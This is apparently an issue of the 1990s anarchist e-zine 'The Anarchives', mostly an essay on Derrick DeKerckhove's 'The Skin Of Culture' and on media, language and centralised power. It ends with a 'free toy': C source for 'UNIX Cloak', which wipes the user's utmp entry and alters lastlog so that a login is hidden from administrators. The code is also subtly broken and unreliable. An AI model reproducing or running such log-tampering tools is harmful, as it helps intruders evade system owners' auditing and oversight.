Anarc25.txt

Subject: The Anarchives... Power & Language "Those not busy being born, are busy dying" The Anarchives 				Volume 2 Issue 5 The Anarchives			Published By 		The Anarchives		The Anarchy Organization The Anarchives	jterpstra@trentu.ca 		Send your e-mail address to get on the list Spread The Word Pass This On... --/\--			Language & Power / /  \  \			The Emerging Political ---|--/\--|---		Technological Environment \/     \/			              /\______/\			by Jesse Hirsh _________________		A study of Derrick DeKerckhove's 	|Free Toy Inside|		The Skin Of Culture ^^^^^^^^^^^^^^^^^ __-___---___---___---___---___-_____---_______---__________ There is a theory which states that if ever anyone discovers exactly what the Universe is for and why it is here, it will instantly disappear and be replaced by something even more bizarrely inexeplicable. There is another theory which states that this has already happened. _____---_____________---_______---                           oooo$$$$$$$$$$$$oooo oo$$$$$$$$$$$$$$$$$$$$$$$$o oo$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$o        o$   $$ o$     o $ oo        o$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$o       $$ $$ $$o$ oo $ $ "$     o$$$$$$$$$    $$$$$$$$$$$$$    $$$$$$$$$o       $$$o$$o$  "$$$$$$o$     o$$$$$$$$$      $$$$$$$$$$$      $$$$$$$$$$o    $$$$$$$$ $$$$$$$   $$$$$$$$$$$      $$$$$$$$$$$      $$$$$$$$$$$$$$$$$$$$$$$    $$$$$$$$$$$$$$$$$$$$$$$    $$$$$$$$$$$$$    $$$$$$$$$$$$$$  """$$$     "$$$""""$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$     "$$$      $$$   o$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$     "$$$o o$$"  $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$       $$$o     $$$    $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$" "$$$$$$ooooo$$$$o    o$$$oooo$$$$$  $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$   o$$$$$$$$$$$$$$$$$    $$$$$$$$"$$$$   $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$     $$$$"""""""" """"      $$$$    "$$$$$$$$$$$$$$$$$$$$$$$$$$$$"      o$$$ "$$$o    """$$$$$$$$$$$$$$$$$$"$$"         $$$ $$$o         "$$""$$$$$$""""           o$$$                 $$$$o                                o$$$" "$$$$o     o$$$$$$o"$$$$o        o$$$$ "$$$$$oo    ""$$$$o$$$$$o   o$$$$""                       ""$$$$$oooo  "$$$o$$$$$$$$$"""                          ""$$$$$$$oo $$$$$$$$$$                                  """"$$$$$$$$$$$      PThhHHhhBT!!!                                      $$$$$$$$$$$$                                       $$$$$$$$$$" "$$$"""" 	Evolution of the language accompanies dramatic transformative change. New concepts explode into all areas as the playing field is continuously redrawn into the playing being. Ideas are liberated, often accompanied by the liberation of language. 	Language is a dominant influence in the development of culture. The medium of language is concentrated information, carrying its own digital codes that can be cracked. 	Marshall McLuhan, Noam Chomsky, and Derrick DeKerckhove are all students of language. The attain an understanding of "reality" through a comprehension of words, in addition of course to the many other extensions of humanity. All of these guys can claim a large area of study as their "turf"; language and media are everywhere. 	They are the totalitarian theorists of the late millennium. 	They study the total media environments of the information age, or as DeKerckhove says, "The Age Of Mind". This is now the Age Of Mind; the information age. When their three perspectives are brought together a portrait emerges of a planet in synesthesia; man, machine, and nature fused into a single entity; a living planet; spaceship earth. The nature of this synesthesia is total domination; an all enveloping process of change directed at the consolidation and total centralization of power. The state continues its historical evolution of conquest, transforming as it revolutionizes the means of booty. Aiight, that was the quick intro. Buckle up 'cause we now go into the study of The Skin Of Culture by Derrick DeKerckhove, continuing TAO's study of the so-called revolution. It's gonna be heavy, so buckle up and prepare for download. I and I are going for a fantastic voyage. "When people buy these systems, they are not buying services, not even status; they are buying power." (DeKerckhove, pp. 95) The world is a stage; an arena of political competition in which survival has been equated with success and getting ahead is the only alternative to falling behind. Information technology is an enabling technology; it empowers the user with new abilities, with greater tools to accomplish greater tasks. It also plays the role of bond within a global institution; tying together millions, extending power outward, allowing it to fully integrate and proliferate. The liberation of information. "Relationships of ownership; they whisper in the wings To those condemned to act accordingly and wait for succeeding kings" (Bob Dylan 1965) Technological turnover however is not driven by equitable development, rather dictated by profit motives in tandem with social control. Technological dependency quickly ensues as the degree and rate of technological turnover is controlled. "Moving at very high speeds, technology itself controls the marketplace and, hence, culture. There used to be a time when history was reality; today reality is in great danger of becoming history. Right now, Nintendo tunes the nervous systems of generations exposed more frequently to computers than to television screens. While they are playing, our kids are turned into hapless extensions of their Nintendos and Segas, as if they were complex, organic servomechanism of crude joysticks and digital video cartoons. That's another image of our new selves growing up." (DeKerckhove, pp. 173) The Age of Mind represents the formation of monstrous power. Power of an unimaginable magnitude. Power is at the core of the entire technological change; media is an inherent source of political power and political organization. The new media represent the evolution of power; the implosion of empire as a means of imperial growth. We all feel this change instinctively; but a consciousness of it does not yet fully exist. Many are lost in the wilderness of advanced urbanization; isolated suburbanites vulnerable to the reactionaries of tele-democracy; lost in artificial realities in an artificial environment. Synthetic conscious permeates a living institution of power. "the power to redesign what we call 'reality'." (DeKerckhove, pp. 176) The merger between human and machine, individual and institution, is an expression of the forces of creation. Synthesis empowers as it creates. "After decades of being hostages to the industrial-military complex, we are threatened with a new kind of seizure of the body-politic, that of the industrial-medical complex." (DeKerckhove, pp. 84) The industrial-military complex does not dissolve, rather it matures and evolves. It embraces the politics of inclusion, absorbing all within its structure. What began in the fifties and sixties with the full integration of military and industry into the perpetual war economy, now becomes the full integration of the psychological and biological extensions of the same institution. "Over 25 percent of the economy in almost all of the advanced information states is founded on arms manufacturing and/or distribution." (DeKerckhove, pp. 188) The media created and enacted by the traditional institutions of war and booty, the imperial powers, transformed the institutions, dictating their courses of evolution. Although the growth of the institutions may not have been explicitly directed, they were centred upon embedded principles of power and wealth. Control within the expanding empire had to be ensured and developed in tandem with the institution itself. "Our one-way, frontal relationship with the tv screen ushered in mass culture. The computer screen, introducing two-way interactive modalities, added speed. The effect of integrated hypermedia will be total immersion. We are at the brink of a new depth culture which is now taking shape during the nineties. Every time the emphasis on a given medium changes, the whole culture shifts." (DeKerckhove, pp. 123) With the new technologies, and the accompanied liberation of information, imperial growth goes quantum. The technology creates new dimensions for growth, exploitation, and profit. Its totality ensures its success, and its success is dependent upon its totality. Its reach must be universal. "... the progress of virtual reality is relentless and it will eventually take over the economy - just as television once did - because it stimulates the convergence of market pressures and growing psychological needs." (DeKerckhove, pp. 93) There are no limits to its reach, its reach is everywhere. As we extend from ourselves, it extends into us. The relationship between human and media becomes one of domination as the extensions become conscious and gain lives of their own, donated by willing consumers, intoxicated by the seducing effects of technological power. "Three levels of integration: 1. Inner. Hyper-concentration and acceleration of computing power. 2. Outer. Standardization for international telecommunication networks. 3. Interactive. Biological interactivity between humans and machine in virtual reality." (DeKerckhove, pp. 39) The entire process is subtle by nature. Inconspicousness as an inherent characteristic. "Computer screens established an interface between biological and technological electricity, between the user and the networks." (DeKerckhove, pp. 125) Critical thinking has traditionally been discouraged if not repressed. Consciousness of the existence and implications of such a total institution is perhaps directly subversive to the dominant mind set. It operates as a runaway train; set in its motion by the few, uniting the fates of all. Hurtling through space on a makeshift space ship. "Add to such a possibility that of touching the object of perception and modifying it, in selected ways ruled by selected routines, and you will eventually get the most powerful thinking machine ever devised: a think tank where the thought is the tank." (DeKerckhove, pp. 49) "a single global computer" (DeKerckhove, pp. 63) Thought and action converging into one. Our skin is the hull, and our brain is the central computer. Collectively we participate in the new model of social organization. The global leviathan awakens, a metamorphosis of global synesthesia and simultaneous communication. "Electricity is the new common language." (DeKerckhove, pp. 82) Electricity is the new blood of the nation. Our arteries (James Bay) are tapped through veins and nerves (cancer 'causin hydro lines) to give to life and energy to our body. We become the beacons of information travelling through the body, relaying bits of information for bits of information, ensuring that body operates effectively. The operation of the body is controlled by the brain. The collection of information by a myriad of centres that determine the actions within and by the body. The ties that bond, the extensions of the brain, hold the body together in a resonating symphony of creation and life. An organic order. "Electricity surrounds the globe in a single mesh." (DeKerckhove, pp. 137) Within the brain of course there are dominant areas that have significantly larger influence over the body and the operation of the brain than others. You know there's an elite jack. Within a global organic institution the elite, for reasons of survival, wield power in a conservative effort to maintain order. Presented with the dynamic and total powers of the leviathan an elite can enact an age of transformative change accompanied by the exponential growth of the all encompassing organic institution. Order is maintained while revolution reverberates throughout. Apathy and passivity; disenfranchisement and exclusion; enacting an absence of real political participation. Suffrage is maintained, and responsible governance represents the total inclusion of all in the cost of order. "The integration of television and other news media within computer networks enables polling engineers to reduce the time interval between question and answer, between action and reaction. The potential for manipulating opinions, in such conditions, is greatly amplified. This has many social and political repercussions. Increasingly, the politicians of western-style democracies owe their power base to meticulous computerized analyses of public opinion in any given arena. Campaign managers tailor their responses in locally appropriate media. During political campaigns the world over, tv stuffs its images into the electors' consciousness presented as statistical facts. All this is supposed to help you make up your mind. But when television and computers are integrated in a single feedback loop on urgent issues, that mind is made up for you. Your own mind may hardly be involved at all. It is one thing for polls to reflect, as accurately as possible, the opinions of a given community. It is quite another for the same polls to shape opinions, or present opinions which weren't there before. This is psychotechnology in action. Polls and statistics have a homogenizing effect on public opinion because they highlight, and thus promote, majority responses over dissent. In a culture where the means of making up one's mind are given less weight and time than those which make up the collective mind, it is easier to let the majority hold sway. This is one of the trade-offs between book and television culture." (DeKerckhove, pp. 211) 	ok lets stop here for a moment. this is the end of part one. part two will deal explicitly with the leviathan, the organic institution of global order, and the manufacturing of consent, the programming of culture, you know the politics of psychological domination. 	sometimes when i and i stop and read over a sentence or come out of some deep thought i and i kind of reflect on what exactly i and i'm saying, and usually at that point i and i gotta hold on to something. 	sometimes in the healing process you're not always aware of the actions your subconscious is bidding you to take. i and i've been turned on to some crazy-assed theories on media and society, and they need to be explored. What are the secrets to be found in our language? Thanx for making it to the end; here's your free toy: /* UNIX Cloak v1.0 (alpha) Written by: Wintermute of -Resist- */ /* This file totally wipes all presence of you on a UNIX system*/ /* It works on SCO, BSD, Ultrix, HP/UX, and anything else that */ /* is compatible.. This file is for information purposes ONLY!*/ /*--> Begin source... */ main(argc, argv) int    argc; char   *argv[]; {    char    *name; struct utmp u;    struct lastlog l;     int     fd; int    i = 0; int    done = 0; int    size; if (argc != 1) { if (argc >= 1 && strcmp(argv[1], "cloakme") == 0) { printf("You are now cloaked\n"); goto start; }         else { printf("close successful\n"); exit(0); } 		  }     else { printf("usage: close [file to close]\n"); exit(1); } start: name = (char *)(ttyname(0)+5); size = sizeof(struct utmp); fd = open("/etc/utmp", O_RDWR); if (fd < 0) perror("/etc/utmp"); else { while ((read(fd, &u, size) == size) && !done) { if (!strcmp(u.ut_line, name)) { done = 1; memset(&u, 0, size); lseek(fd, -1*size, SEEK_CUR); write(fd, &u, size); close(fd); } 	}    }     size = sizeof(struct lastlog); fd = open("/var/adm/lastlog", O_RDWR); if (fd < 0) perror("/var/adm/lastlog"); else { lseek(fd, size*getuid, SEEK_SET); read(fd, &l, size); l.ll_time = 0; strncpy(l.ll_line, "ttyq2 ", 5); gethostname(l.ll_host, 16); lseek(fd, size*getuid, SEEK_SET); close(fd); } } TAO brings wings of love
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